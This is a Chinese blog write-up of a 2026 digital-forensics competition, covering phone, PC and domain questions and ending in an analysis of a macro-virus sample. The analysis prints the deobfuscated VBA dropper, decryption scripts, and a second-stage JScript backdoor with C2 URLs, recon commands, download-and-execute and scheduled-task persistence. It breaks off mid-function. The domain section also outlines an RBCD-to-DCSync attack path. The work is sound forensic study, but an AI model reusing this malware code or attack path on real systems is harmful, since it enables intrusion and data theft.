Xiaohao's Blog

有段时间没取证了,复盘了一下这次的平航杯,真的感觉有点退化了。平航杯是2026年的第一个取证大赛,也是我第一次参与组织这样子的千人规模比赛,付出了不少心血,所以索性想着发一篇wp,为这次大赛收个尾。比较可惜的是由于生疏的原因,比赛时有几个简单题搞错了,错失几十分,最后405分,也还算过得去。

0dd3a0ce292d497cbd00eb9063b48791

总体下来,个人觉得比较新颖的是那个OSDATA、域取证和api中转站投毒,师兄出的题目质量还是很高,复盘的过程中学到了很多。

手机取证

1. 请分析早起王的手机,手机型号为?

【答案格式:Xiaomi13】

Pixel 6

火眼并没有自己解析出来,那我们搜索一下包含build的文件名
Pasted image 20260418235127
/data/data/com.google.android.hardwareinfo/files/last_build.txt有build指纹:google/oriole/oriole:14/AP1A.240505.004/11583682:user/release-keys,对应的型号是Google Pixel 6

2. 请分析早起王的手机,早起王最近想旅行,结合高德地图搜索记录,他最可能去的景点是哪个?

【答案格式:黄山】

西湖

Pasted image 20260418234135

3. 请分析早起王的手机,早起王在什么时间加上倩倩微信的?

【答案格式:2025-08-1807:09:19】

2026-03-3015:13:08

Pasted image 20260418234212

4. 请分析早起王的手机,倩倩在2026年3月30号吃了什么?

【答案格式:西湖醋鱼】

麻薯小蛋糕

Pasted image 20260418234412

5. 请分析倩倩的手机,倩倩手机的系统版本是多少?

【答案格式:5.2.3.123】

6.0.0.380

最外面的info.json写了
Pasted image 20260419000809

但是个人认为这里使用备份记录版本来作为手机型号是欠妥的。我们可以找到手机里/com.ohos.settingsdata/com.ohos.settingsdata/data/storage/el1/database/entry/rdb/settingsdata_backup.db这个记录了系统信息的数据库,settingsdata表中的parentcontrol_last_notified_version字段为:

ADA-AL00 6.0.0.130(SP25C00E130R4P7)

个人觉得手机型号为6.0.0.130更严谨

6. 请分析倩倩的手机,“舔狗”的微信内部ID是多少?

【答案格式:wxid_ab12】

wxid_uh5tfx2zi8yh22

Pasted image 20260418235838

7. 请分析倩倩的手机,倩倩曾给一位好友推荐游戏,这个好友叫什么名字?

【答案格式:杨梅】

冰糖

在手机备忘录里面
Pasted image 20260419000022

8. 请分析倩倩的手机结合逆向包,推荐的游戏叫什么?

【答案格式:far echo】

9. 请分析倩倩的手机,倩倩一共阅读过多少条搜狐新闻?

【答案格式:11】

33

找数据库,很好定位,在这里:/com.sohu.harmonynews/com.sohu.harmonynews/data/storage/el2/database/entry/kvdb/2c77515efb1c9f5f9b5fdc9d2f78edae26e57c53dd63b19a9b0728f71f2aa42f/single_ver/main/gen_natural_store.db
Pasted image 20260419000416
一个35条,前两条不是,所以33条

10. 请分析倩倩手机逆向包,数据加密app的包名是什么?

【答案格式:com.komeiji.satori】

com.koishi.fpt

解压即可看见,或者看fpt-default-signed.app
Pasted image 20260419001143

11. 请接上题,初始化app时需要至少几位数的密码?

【答案格式:10】

6

fpt-default-signed.app后缀改成zip可以直接解压,hap文件同理,解压后拿到\倩倩手机逆向包\fpt-default-signed.app\entry-default.hap\ets\modules.abc。这样用abc-decompiler打开,和jadx一样:
爆搜密码,要求至少6位
Pasted image 20260419100009

12. 请接上题,加密后的文件名的后缀是什么?

【答案格式:.enc】

.tb

可以看到一个.json后面跟上了一个.tb(谭师兄的标志哈哈),010打开可以看见文件流是被加密了

Pasted image 20260419001331

13. 请接上题,app会自动识别几种后缀的文件为图片类型?

【答案格式:8】

5

可以看见,getFileType方法会把加密文件后面的.tb抹除,识别的文件图片文件类型有5种
Pasted image 20260419100708

14. 请接上题,app共从用于自定义加密的so模块导入了几个方法?

【答案格式:8】

2

继续往后翻翻,可以看见主要的加密逻辑
Pasted image 20260419100442
自定义的这个d方法中,可以看到两个地方加载了这个libcrypto.so
Pasted image 20260419101026

计算机取证

1. 请分析早起王的PC镜像,计算机系统Build版本是什么?

【答案格式:12345.1234】

19045.6466

Pasted image 20260418183615

2. 请分析早起王的PC镜像,用户深情专一沼气王,她是我的生死劫的登陆密码LM哈希值后六位?

【答案格式: abc123】

1404ee

火眼在设置列里面可以调整,这里太久没取证了,忘记这里了,我直接找了个网站算LMHash,算错了qwq,详细的知识补充看:
https://blog.csdn.net/qq_44108455/article/details/123316800

windows中的hash结构是username:RID:LM-HASH:NT-HASH,其中NTHash就是常说的NTLMHash,而LMHash是用于老式的windows认证,明文密码在14位以内才可以使用LMHash,本质采用DES。
Pasted image 20260418183724

3. 请分析A的PC镜像,沼气王的桌面有本日记,请问沼气王暗恋对象的生日为?

(答案格式:05月26日)

多次输入错误后有提示,密码为大小写字母数字?????04,用passwarekit爆破即可

3. 请分析早起王的PC镜像,早起王受到过一封邮件,请找出邮件中隐写的秘密

【答案格式: XXX,xxx】

12点,老地方

misc基本功,垃圾邮件隐写:
Pasted image 20260418185530
邮件隐写:https://www.spammimic.com/

4. 请分析早起王的PC镜像, VeraCrypt容器的外层密码是什么?

【答案格式: abc123】【提示:分析utools】
utools插件里面,仿真起来可以直接看到。
Pasted image 20260418185727

5. 请分析早起王的PC镜像,早起王设置了一个AI女友,并自行导入过一个角色模型,该模型的原始文件名为?

【答案格式: ABC.vrm】
vc挂起来,有一个.vrm文件,ai女友软件很明显就是桌面上的AIRI
Pasted image 20260418190807
这里要求我们上传.vrm或者.ziplive2D文件,那说明就是vc里面的那个.vrm文件
Pasted image 20260418191020

6. 请分析早起王的PC镜像, AI女友使用的模型是什么?

【答案格式: openai/GPT5.3-Codex-01-01】
qwen/qwen3.5-flash-02-23
可以仿真起来看:
Pasted image 20260418191151
如果翻文件夹也行,但是我翻文件夹做的就做错了,能仿真尽量仿真吧。

7. 请分析早起王的PC镜像,该PC中有一个离线大模型软件,其上次对话使用的模型是?

【答案格式: ministra1-3-14b-reasoning】

qwen2.5-coder-14b-instruct

Pasted image 20260418191427

8. 请分析早起王的PC镜像,早起王曾删除一个MD5值为49B367AC261A722A7C2BBC328C32545的恶意文件,请尝试数据恢复并找到其文件名?

【答案格式:abc123】

49b367ac261a722a7c2bbbc328c32545

在vc隐藏层里面,打开之后xway就可以看见,右键恢复。
Pasted image 20260419102757

9. 请分析A的PC镜像,该PC中neo4j数据库的密码是多少?

1qazxsw2

user图片文件夹里的图片,有盲水印,所以neo4j的密码是1qazxsw2
Pasted image 20260418192537

10. 根据早起王笔录内容,早起王曾经对某企业进行过渗透攻击,请分析域内实体关系, FILESERVER.XIAORANG.LAB对XIAORANG.LAB域拥有什么控制权限?

【答案格式: ABCabc】

有关域,详细可以看我这篇:https://blog.enxiaohao.cn/posts/Pentration/DomainPentration/

U盘里面有sharphound生成的域信息搜集文件,这个题目如果打过域渗透会很熟悉的,其实师兄就是拿了云境的Time靶机的域信息出的。
Pasted image 20260418192857

我直接导入我自己的bloodhound了
Pasted image 20260418193756
很明显,DCSync权限

11. 根据早起王笔录内容,早起王在渗透过程中已成功控制ZHANGXINQXIAORANG.LAB,请结合域内实体关系图分析,早起王获取域控权限的完整攻击轨迹是什么?

【答案格式: XXXXXXXX@XXXXXXX.XXX->XXXXXXXXXX.XXXXXXX.XXX->XXXXXXXX.XXX

ZHANGXIN@XIAORANG.LAB >FILESERVER.XIAORANG.LAB >XIAORANG.LAB

bloodhound里面筛选一下路径,ZHANGXIN@XIAORANG.LABFILESERVER.XIAORANG.LAB是GenericAll权限,ACL权限滥用,可以打RBCD,横向到FILESERVER.XIAORANG.LABFILESERVER.XIAORANG.LAB有DCSync,可以拿域控NTHash,就结束了。
Pasted image 20260418193928

12. 早起王在PC中记录过自己的犯罪动机并对其进行加密,请使用社工的方式破解加密文件,并提交密码。

【答案格式: aabc3**】

Zqw20040101!

根据早起王的姓名、生日进行社工爆破,先用Tscan生成字典:
Pasted image 20260418194705
爆破:Pasted image 20260418194748

13. 早起王曾给倩倩发送过一封钓鱼邮件,请找到并计算附件MD5值

【答案格式:字母不区分大小写】

 5436B61EA58ADB794804E3F18CE53F2A

不能在火眼导出邮件附件算,md5会有出入。直接拿电脑里面的文件算。
Pasted image 20260418195042

宏病毒

原题: https://www.netscylla.com/blog/2021/09/23/Obfuscated-CTF.html

1. 请接上题,该文件中有多个流(streams)包含宏。请提供其中编号最小的一个。

【答案格式:3】

8

计算机中提取出来的恶意文件火绒直接报毒,是宏病毒。
Pasted image 20260419095618
用oledump.py看所有流:
Pasted image 20260419103007
编号8,9带有VBA宏,所以答案是8

2. 请接上题,混淆代码的解密密钥是什么?

【答案格式:填写传入脚本的实际密钥,不包含命令行分隔空格】

EzZETcSXyKAdF_e5I2i1

导出一下带vba的流:

python oledump.py -s 8 -v 49b367ac261a722a7c2bbbc328c32545 > 8.vba
python oledump.py -s 9 -v 49b367ac261a722a7c2bbbc328c32545 > 9.vba

导出之后代码有混淆,我们整理一下:
主要行为是从当前文档中定位并提取一段隐藏数据,用XOR解码,落地为 maintools.js,然后通过 WScript.Shell.Run 执行

Attribute VB_Name = "Module1"

Public DroppedFilePath As String
Public TargetFolderPath As String

Function DecodePayload(ByRef payload() As Byte, ByVal dataLength As Long) As Boolean
Dim xorKey As Byte
Dim index As Long

xorKey = 45

For index = 0 To dataLength - 1
payload(index) = payload(index) Xor xorKey
xorKey = ((xorKey Xor 99) Xor (index Mod 254))
Next index

DecodePayload = True
End Function

Sub AutoClose()
On Error Resume Next
Kill DroppedFilePath

On Error Resume Next
Dim fileSystem As Object
Set fileSystem = CreateObject("Scripting.FileSystemObject")
fileSystem.DeleteFile TargetFolderPath & "\*.*", True
Set fileSystem = Nothing
End Sub

Sub AutoOpen()
On Error GoTo ErrorHandler

Dim documentHandle
Dim documentSize As Long
Dim payloadSize As Long

documentSize = FileLen(ActiveDocument.FullName)
documentHandle = FreeFile

Open (ActiveDocument.FullName) For Binary As #documentHandle

Dim documentBytes() As Byte
ReDim documentBytes(documentSize)
Get #documentHandle, 1, documentBytes

Dim documentText As String
documentText = StrConv(documentBytes, vbUnicode)

Dim matchItem
Dim matchCollection
Dim regex As Object

Set regex = CreateObject("vbscript.regexp")
regex.Pattern = "MxOH8pcrlepD3SRfF5ffVTy86Xe41L2qLnqTd5d5R7Iq87mWGES55fswgG84hIRdX74dlb1SiFOkR1Hh"

Set matchCollection = regex.Execute(documentText)

Dim markerOffset
If matchCollection.Count = 0 Then
GoTo ErrorHandler
End If

For Each matchItem In matchCollection
markerOffset = matchItem.FirstIndex
Exit For
Next

Dim payloadBytes() As Byte
payloadSize = 16827
ReDim payloadBytes(payloadSize)

Get #documentHandle, markerOffset + 81, payloadBytes

If Not DecodePayload(payloadBytes(), payloadSize + 1) Then
GoTo ErrorHandler
End If

TargetFolderPath = Environ("appdata") & "\Microsoft\Windows"

Dim fileSystem As Object
Set fileSystem = CreateObject("Scripting.FileSystemObject")

If Not fileSystem.FolderExists(TargetFolderPath) Then
TargetFolderPath = Environ("appdata")
End If

Set fileSystem = Nothing

Dim outputHandle
outputHandle = FreeFile

DroppedFilePath = TargetFolderPath & "\" & "maintools.js"

Open (DroppedFilePath) For Binary As #outputHandle
Put #outputHandle, 1, payloadBytes
Close #outputHandle

Erase payloadBytes

Dim shellObject As Object
Set shellObject = CreateObject("WScript.Shell")
shellObject.Run """" & DroppedFilePath & """" & " EzZETcSXyKAdF_e5I2i1"

ActiveDocument.Save
Exit Sub

ErrorHandler:
Close #outputHandle
ActiveDocument.Save
End Sub

auto.open()先是读取了当前文档的二进制值ActiveDocument.FullName,用正则搜索标记字符串
Pasted image 20260419104208
找到后往后取16827字节,用decodepayload解密(去混淆之前叫Q7JOhn5pIl648L6V43V()
Pasted image 20260419104412
解密方法是xor:
Pasted image 20260419104510
然后将结果写入 %APPDATA%\Microsoft\Windows\maintools.js,若目录不存在则写到 %APPDATA%\maintools.js
Pasted image 20260419104538
最后执行maintools.js EzZETcSXyKAdF_e5I2i1
Pasted image 20260419104606

那么接下来我们根据提取和解密逻辑,把js文件提取解密一下:

from pathlib import Path

INPUT_FILE = "49b367ac261a722a7c2bbbc328c32545"
EXTRACTED_PAYLOAD_FILE = "extracted_payload.bin"
DECRYPTED_OUTPUT_FILE = "dumped-decryptor.js"

MARKER = b"MxOH8pcrlepD3SRfF5ffVTy86Xe41L2qLnqTd5d5R7Iq87mWGES55fswgG84hIRdX74dlb1SiFOkR1Hh"
# VBA `Get #file, position, buffer` uses 1-based file positions.
# The macro reads from `markerOffset + 81`, which maps to a 0-based Python slice offset of 80.
PAYLOAD_OFFSET_FROM_MARKER = 80
PAYLOAD_SIZE = 16828

INITIAL_XOR_BYTE = 45
XOR_CONSTANT = 99
MODULUS = 254


def extract_payload(document_bytes: bytes) -> bytes:
marker_offset = document_bytes.find(MARKER)
if marker_offset == -1:
raise ValueError("Marker not found in input file.")

payload_start = marker_offset + PAYLOAD_OFFSET_FROM_MARKER
payload_end = payload_start + PAYLOAD_SIZE

if payload_end > len(document_bytes):
raise ValueError("Payload extends beyond end of file.")

return document_bytes[payload_start:payload_end]


def decrypt_payload(data: bytes) -> bytes:
output = [0] * len(data)
xor_byte = INITIAL_XOR_BYTE

for index in range(len(data)):
output[index] = data[index] ^ xor_byte
xor_byte = (xor_byte ^ XOR_CONSTANT) ^ (index % MODULUS)
xor_byte &= 0xFF

return bytes(output)


def main() -> None:
input_path = Path(INPUT_FILE)
extracted_path = Path(EXTRACTED_PAYLOAD_FILE)
decrypted_path = Path(DECRYPTED_OUTPUT_FILE)

if not input_path.exists():
raise FileNotFoundError(f"Input file not found: {input_path}")

document_bytes = input_path.read_bytes()

encrypted_payload = extract_payload(document_bytes)
extracted_path.write_bytes(encrypted_payload)

decrypted_payload = decrypt_payload(encrypted_payload)
decrypted_path.write_text(
"".join(chr(byte) for byte in decrypted_payload),
encoding="utf-8",
errors="ignore",
)

print(f"Input file: {input_path}")
print(f"Extracted payload saved to: {extracted_path}")
print(f"Decrypted script saved to: {decrypted_path}")
print(f"Payload size: {len(encrypted_payload)} bytes")


if __name__ == "__main__":
main()

得到js代码,有混淆
Pasted image 20260419105815

核心是使用了Base64-like 解码 + RC4 + eval,不复杂,可以直接解出stage2

try{var wvy1 = WScript.Arguments;var ssWZ = wvy1(0);var ES3c = y3zb();ES3c = LXv5(ES3c);ES3c = CpPT(ssWZ,ES3c);eval(ES3c);  
}catch (e)
from pathlib import Path
import re, base64
text=Path('dumped-decryptor.js').read_text(encoding='utf-8', errors='ignore')
key='EzZETcSXyKAdF_e5I2i1'
m=re.search(r'var qGxZ = "([A-Za-z0-9+/=]+)";', text)
if not m:
raise SystemExit('payload string not found')
blob=base64.b64decode(m.group(1))
S=list(range(256))
j=0
key_bytes=key.encode('latin1')
for i in range(256):
j=(j+S[i]+key_bytes[i % len(key_bytes)]) % 256
S[i],S[j]=S[j],S[i]
i=j=0
out=bytearray()
for b in blob:
i=(i+1)%256
j=(j+S[i])%256
S[i],S[j]=S[j],S[i]
out.append(b ^ S[(S[i]+S[j]) % 256])
Path('stage2.js').write_bytes(out)
print('stage2 bytes', len(out))
print(out[:500].decode('latin1', errors='replace'))

Pasted image 20260419110455
去混淆之后:

// Decompiled and renamed from the second-stage script embedded in dumped-decryptor.js.
// The first-stage loader decodes this stage with RC4 key: EzZETcSXyKAdF_e5I2i1

function readFileBytesCp437(path) {
var stream = WScript.CreateObject("ADODB.Stream");
stream.Type = 2;
stream.CharSet = "437";
stream.Open();
stream.LoadFromFile(path);

var text = stream.ReadText;
stream.Close();
return cp437StringToBytes(text);
}

var C2_URLS = new Array(
"http://www.saipadiesel124.com/wp-content/plugins/imsanity/tmp.php",
"http://www.folk-cantabria.com/wp-content/plugins/wp-statistics/includes/classes/gallery_create_page_field.php"
);

var USER_AGENT_SEED = "w3LxnRSbJcqf8HrU";
var RECON_COMMANDS = new Array(
"systeminfo > ",
"net view >> ",
"net view /domain >> ",
"tasklist /v >> ",
"gpresult /z >> ",
"netstat -nao >> ",
"ipconfig /all >> ",
"arp -a >> ",
"net share >> ",
"net use >> ",
"net user >> ",
"net user administrator >> ",
"net user /domain >> ",
"net user administrator /domain >> ",
"set >> ",
"dir %systemdrive%\\Users\\*.* >> ",
"dir %userprofile%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*.* >> ",
"dir %userprofile%\\Desktop\\*.* >> ",
"tasklist /fi \"modules eq wow64.dll\" >> ",
"tasklist /fi \"modules ne wow64.dll\" >> ",
"dir \"%programfiles(x86)%\" >> ",
"dir \"%programfiles%\" >> ",
"dir %appdata% >> "
);

var PAYLOAD_RC4_KEY = "2f532d6baec3d0ec7b1f98aed4774843";
var PERSISTENCE_TASK_NAME = "TaskManager";
var PERSISTENCE_TASK_DESC = "Windows Task Manager";
var STAGE1_ARGUMENT = "EzZETcSXyKAdF_e5I2i1";
var TASK_FOLDER = "WPD";
var BASE64_ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

var fileSystem = new ActiveXObject("Scripting.FileSystemObject");
var scriptName = WScript.ScriptName;
var currentUsername = "";
var shell = createShell();
var installDir = "";
var persistedScriptPath = "";

function encodeBase64FromBinaryString(input, use8BitChars) {
var encoded = "";
var bitBuffer = "";

for (var i = 0; i < input.length; ++i) {
var charCode = input.charCodeAt(i);
var bits = charCode.toString(2);

while (bits.length < (use8BitChars ? 8 : 16)) {
bits = "0" + bits;
}

bitBuffer += bits;

while (bitBuffer.length >= 6) {
var chunk = bitBuffer.slice(0, 6);
bitBuffer = bitBuffer.slice(6);
encoded += BASE64_ALPHABET.charAt(parseInt(chunk, 2));
}
}

if (bitBuffer) {
while (bitBuffer.length < 6) {
bitBuffer += "0";
}
encoded += BASE64_ALPHABET.charAt(parseInt(bitBuffer, 2));
}

while (encoded.length % (use8BitChars ? 4 : 8) !== 0) {
encoded += "=";
}

return encoded;
}

var CP437_UNICODE_TO_BYTE = [];
CP437_UNICODE_TO_BYTE["C7"] = "80";
CP437_UNICODE_TO_BYTE["FC"] = "81";
CP437_UNICODE_TO_BYTE["E9"] = "82";
CP437_UNICODE_TO_BYTE["E2"] = "83";
CP437_UNICODE_TO_BYTE["E4"] = "84";
CP437_UNICODE_TO_BYTE["E0"] = "85";
CP437_UNICODE_TO_BYTE["E5"] = "86";
CP437_UNICODE_TO_BYTE["E7"] = "87";
CP437_UNICODE_TO_BYTE["EA"] = "88";
CP437_UNICODE_TO_BYTE["EB"] = "89";
CP437_UNICODE_TO_BYTE["E8"] = "8A";
CP437_UNICODE_TO_BYTE["EF"] = "8B";
CP437_UNICODE_TO_BYTE["EE"] = "8C";
CP437_UNICODE_TO_BYTE["EC"] = "8D";
CP437_UNICODE_TO_BYTE["C4"] = "8E";
CP437_UNICODE_TO_BYTE["C5"] = "8F";
CP437_UNICODE_TO_BYTE["C9"] = "90";
CP437_UNICODE_TO_BYTE["E6"] = "91";
CP437_UNICODE_TO_BYTE["C6"] = "92";
CP437_UNICODE_TO_BYTE["F4"] = "93";
CP437_UNICODE_TO_BYTE["F6"] = "94";
CP437_UNICODE_TO_BYTE["F2"] = "95";
CP437_UNICODE_TO_BYTE["FB"] = "96";
CP437_UNICODE_TO_BYTE["F9"] = "97";
CP437_UNICODE_TO_BYTE["FF"] = "98";
CP437_UNICODE_TO_BYTE["D6"] = "99";
CP437_UNICODE_TO_BYTE["DC"] = "9A";
CP437_UNICODE_TO_BYTE["A2"] = "9B";
CP437_UNICODE_TO_BYTE["A3"] = "9C";
CP437_UNICODE_TO_BYTE["A5"] = "9D";
CP437_UNICODE_TO_BYTE["20A7"] = "9E";
CP437_UNICODE_TO_BYTE["192"] = "9F";
CP437_UNICODE_TO_BYTE["E1"] = "A0";
CP437_UNICODE_TO_BYTE["ED"] = "A1";
CP437_UNICODE_TO_BYTE["F3"] = "A2";
CP437_UNICODE_TO_BYTE["FA"] = "A3";
CP437_UNICODE_TO_BYTE["F1"] = "A4";
CP437_UNICODE_TO_BYTE["D1"] = "A5";
CP437_UNICODE_TO_BYTE["AA"] = "A6";
CP437_UNICODE_TO_BYTE["BA"] = "A7";
CP437_UNICODE_TO_BYTE["BF"] = "A8";
CP437_UNICODE_TO_BYTE["2310"] = "A9";
CP437_UNICODE_TO_BYTE["AC"] = "AA";
CP437_UNICODE_TO_BYTE["BD"] = "AB";
CP437_UNICODE_TO_BYTE["BC"] = "AC";
CP437_UNICODE_TO_BYTE["A1"] = "AD";
CP437_UNICODE_TO_BYTE["AB"] = "AE";
CP437_UNICODE_TO_BYTE["BB"] = "AF";
CP437_UNICODE_TO_BYTE["2591"] = "B0";
CP437_UNICODE_TO_BYTE["2592"] = "B1";
CP437_UNICODE_TO_BYTE["2593"] = "B2";
CP437_UNICODE_TO_BYTE["2502"] = "B3";
CP437_UNICODE_TO_BYTE["2524"] = "B4";
CP437_UNICODE_TO_BYTE["2561"] = "B5";
CP437_UNICODE_TO_BYTE["2562"] = "B6";
CP437_UNICODE_TO_BYTE["2556"] = "B7";
CP437_UNICODE_TO_BYTE["2555"] = "B8";
CP437_UNICODE_TO_BYTE["2563"] = "B9";
CP437_UNICODE_TO_BYTE["2551"] = "BA";
CP437_UNICODE_TO_BYTE["2557"] = "BB";
CP437_UNICODE_TO_BYTE["255D"] = "BC";
CP437_UNICODE_TO_BYTE["255C"] = "BD";
CP437_UNICODE_TO_BYTE["255B"] = "BE";
CP437_UNICODE_TO_BYTE["2510"] = "BF";
CP437_UNICODE_TO_BYTE["2514"] = "C0";
CP437_UNICODE_TO_BYTE["2534"] = "C1";
CP437_UNICODE_TO_BYTE["252C"] = "C2";
CP437_UNICODE_TO_BYTE["251C"] = "C3";
CP437_UNICODE_TO_BYTE["2500"] = "C4";
CP437_UNICODE_TO_BYTE["253C"] = "C5";
CP437_UNICODE_TO_BYTE["255E"] = "C6";
CP437_UNICODE_TO_BYTE["255F"] = "C7";
CP437_UNICODE_TO_BYTE["255A"] = "C8";
CP437_UNICODE_TO_BYTE["2554"] = "C9";
CP437_UNICODE_TO_BYTE["2569"] = "CA";
CP437_UNICODE_TO_BYTE["2566"] = "CB";
CP437_UNICODE_TO_BYTE["2560"] = "CC";
CP437_UNICODE_TO_BYTE["2550"] = "CD";
CP437_UNICODE_TO_BYTE["256C"] = "CE";
CP437_UNICODE_TO_BYTE["2567"] = "CF";
CP437_UNICODE_TO_BYTE["2568"] = "D0";
CP437_UNICODE_TO_BYTE["2564"] = "D1";
CP437_UNICODE_TO_BYTE["2565"] = "D2";
CP437_UNICODE_TO_BYTE["2559"] = "D3";
CP437_UNICODE_TO_BYTE["2558"] = "D4";
CP437_UNICODE_TO_BYTE["2552"] = "D5";
CP437_UNICODE_TO_BYTE["2553"] = "D6";
CP437_UNICODE_TO_BYTE["256B"] = "D7";
CP437_UNICODE_TO_BYTE["256A"] = "D8";
CP437_UNICODE_TO_BYTE["2518"] = "D9";
CP437_UNICODE_TO_BYTE["250C"] = "DA";
CP437_UNICODE_TO_BYTE["2588"] = "DB";
CP437_UNICODE_TO_BYTE["2584"] = "DC";
CP437_UNICODE_TO_BYTE["258C"] = "DD";
CP437_UNICODE_TO_BYTE["2590"] = "DE";
CP437_UNICODE_TO_BYTE["2580"] = "DF";
CP437_UNICODE_TO_BYTE["3B1"] = "E0";
CP437_UNICODE_TO_BYTE["DF"] = "E1";
CP437_UNICODE_TO_BYTE["393"] = "E2";
CP437_UNICODE_TO_BYTE["3C0"] = "E3";
CP437_UNICODE_TO_BYTE["3A3"] = "E4";
CP437_UNICODE_TO_BYTE["3C3"] = "E5";
CP437_UNICODE_TO_BYTE["B5"] = "E6";
CP437_UNICODE_TO_BYTE["3C4"] = "E7";
CP437_UNICODE_TO_BYTE["3A6"] = "E8";
CP437_UNICODE_TO_BYTE["398"] = "E9";
CP437_UNICODE_TO_BYTE["3A9"] = "EA";
CP437_UNICODE_TO_BYTE["3B4"] = "EB";
CP437_UNICODE_TO_BYTE["221E"] = "EC";
CP437_UNICODE_TO_BYTE["3C6"] = "ED";
CP437_UNICODE_TO_BYTE["3B5"] = "EE";
CP437_UNICODE_TO_BYTE["2229"] = "EF";
CP437_UNICODE_TO_BYTE["2261"] = "F0";
CP437_UNICODE_TO_BYTE["B1"] = "F1";
CP437_UNICODE_TO_BYTE["2265"] = "F2";
CP437_UNICODE_TO_BYTE["2264"] = "F3";
CP437_UNICODE_TO_BYTE["2320"] = "F4";
CP437_UNICODE_TO_BYTE["2321"] = "F5";
CP437_UNICODE_TO_BYTE["F7"] = "F6";
CP437_UNICODE_TO_BYTE["2248"] = "F7";
CP437_UNICODE_TO_BYTE["B0"] = "F8";
CP437_UNICODE_TO_BYTE["2219"] = "F9";
CP437_UNICODE_TO_BYTE["B7"] = "FA";
CP437_UNICODE_TO_BYTE["221A"] = "FB";
CP437_UNICODE_TO_BYTE["207F"] = "FC";
CP437_UNICODE_TO_BYTE["B2"] = "FD";
CP437_UNICODE_TO_BYTE["25A0"] = "FE";
CP437_UNICODE_TO_BYTE["A0"] = "FF";

function generateRandomName() {
var length = Math.ceil(Math.random() * 10 + 25);
var name = String.fromCharCode(Math.ceil(Math.random() * 24 + 65));
var network = WScript.CreateObject("WScript.Network");
currentUsername = network.UserName;

for (var count = 0; count < length; count++) {
switch (Math.ceil(Math.random() * 3)) {
case 1:
name = name + Math.ceil(Math.random() * 8);
break;
case 2:
name = name + String.fromCharCode(Math.ceil(Math.random() * 24 + 97));
break;
default:
name = name + String.fromCharCode(Math.ceil(Math.random() * 24 + 65));
break;
}
}

return name;
}

generateRandomName();
installDir = resolveInstallDirectory();

try {
shell = createShell();
establishPersistence();
mainLoop();
} catch (e) {
WScript.Quit();
}

function mainLoop() {
var reconBlob = collectReconData();

while (true) {
for (var i = 0; i < C2_URLS.length; i++) {
var url = C2_URLS[i];
var response = pollServer(url, reconBlob);

switch (response) {
case "good":
break;
case "exit":
WScript.Quit();
break;
case "work":
downloadAndExecute(url);
break;
case "fail":
failAndReinstall();
break;
default:
break;
}

generateRandomName();
}

WScript.Sleep((Math.random() * 300 + 3600) * 1000);
}
}

function createShell() {
return new ActiveXObject("WScript.Shell");
}

function downloadAndExecute(url) {
var downloadedPath = installDir + scriptName.substring(0, scriptName.length - 2) + "pif";
var http = new ActiveXObject("MSXML2.XMLHTTP");

http.open("post", url, false);
http.setRequestHeader("user-agent:", "Mozilla/5.0 (Windows NT 6.1; Win64; x64); " + buildBeaconId());
http.setRequestHeader("content-type:", "application/octet-stream");
http.setRequestHeader("content-length:", "4");
http.send("work");

if (fileSystem.FileExists(downloadedPath)) {
fileSystem.DeleteFile(downloadedPath);
}

if (http.status === 200) {
var stream = new ActiveXObject("ADODB.Stream");
stream.Type = 1;
stream.Open();
stream.Write(http.responseBody);
stream.Position = 0;
stream.Type = 2;
stream.CharSet = "437";

var cp437Text = stream.ReadText(stream.Size);
var decryptedPayload = rc4String(PAYLOAD_RC4_KEY, cp437StringToBytes(cp437Text));
saveLatin1StringToFile(decryptedPayload, downloadedPath);
stream.Close();
}

generateRandomName();
runDownloadedFile(downloadedPath, url);
WScript.Sleep(30000);
fileSystem.DeleteFile(downloadedPath);
}

function failAndReinstall() {
fileSystem.DeleteFile(WScript.ScriptFullName);
createScheduledTask(
PERSISTENCE_TASK_NAME,
PERSISTENCE_TASK_DESC,
currentUsername,
persistedScriptPath,
STAGE1_ARGUMENT,
installDir,
false
);
deleteScheduledTask(PERSISTENCE_TASK_NAME);
WScript.Quit();
}

function pollServer(url, reconBlob) {
try {
var http = new ActiveXObject("MSXML2.XMLHTTP");
http.open("post", url, false);
http.setRequestHeader("user-agent:", "Mozilla/5.0 (Windows NT 6.1; Win64; x64); " + buildBeaconId());
http.setRequestHeader("content-type:", "application/octet-stream");

var encoded = encodeBase64FromBinaryString(reconBlob, true);
http.setRequestHeader("content-length:", encoded.length);
http.send(encoded);
return http.responseText;
} catch (e) {
return "";
}
}

function buildBeaconId() {
var suffix = "";
var network = WScript.CreateObject("WScript.Network");
var seed = USER_AGENT_SEED + network.ComputerName + currentUsername;

for (var i = 0; i < 16; i++) {
var value = 0;
for (var j = i; j < seed.length - 1; j++) {
value = value ^ seed.charCodeAt(j);
}
value = value % 10;
suffix = suffix + value.toString(10);
}

return suffix + USER_AGENT_SEED;
}

function establishPersistence() {
persistedScriptPath = installDir + scriptName.substring(0, scriptName.length - 2) + "js";
fileSystem.CopyFile(WScript.ScriptFullName, installDir + scriptName);

var delay = (Math.random() * 150 + 350) * 1000;
WScript.Sleep(delay);

createScheduledTask(
PERSISTENCE_TASK_NAME,
PERSISTENCE_TASK_DESC,
currentUsername,
persistedScriptPath,
STAGE1_ARGUMENT,
installDir,
true
);
}

function collectReconData() {
var outputPath = installDir + "~dat.tmp";

for (var i = 0; i < RECON_COMMANDS.length; i++) {
shell.Run("cmd.exe /c " + RECON_COMMANDS[i] + "\"" + outputPath + "\"", 0, true);
}

var bytes = readFileBytesCp437(outputPath);
WScript.Sleep(1000);
fileSystem.DeleteFile(outputPath);
return rc4String(PAYLOAD_RC4_KEY, bytes);
}

function runDownloadedFile(filePath, callbackUrl) {
try {
if (fileSystem.FileExists(filePath)) {
shell.Run("\"" + filePath + "\"");
}
} catch (e) {
var http = new ActiveXObject("MSXML2.XMLHTTP");
var statusText = "error";

http.open("post", callbackUrl, false);
http.setRequestHeader("user-agent:", "Mozilla/5.0 (Windows NT 6.1; Win64; x64); " + buildBeaconId());
http.setRequestHeader("content-type:", "application/octet-stream");
http.setRequestHeader("content-length:", statusText.length);
http.send(statusText);
return "";
}
}

function toHexString(value) {
var alphabet = "0123456789ABCDEF";
var out = alphabet.substr(value & 15, 1);

while (value > 15) {
value >>>= 4;
out = alphabet.substr(value & 15, 1) + out;
}

return out;
}

function fromHexString(value) {
return parseInt(value, 16);
}

function createScheduledTask(taskName, description, username, executablePath, argumentsText, workingDir, hidden) {
try {
var service = WScript.CreateObject("Schedule.Service");
service.Connect();

var folder = service.GetFolder(TASK_FOLDER);
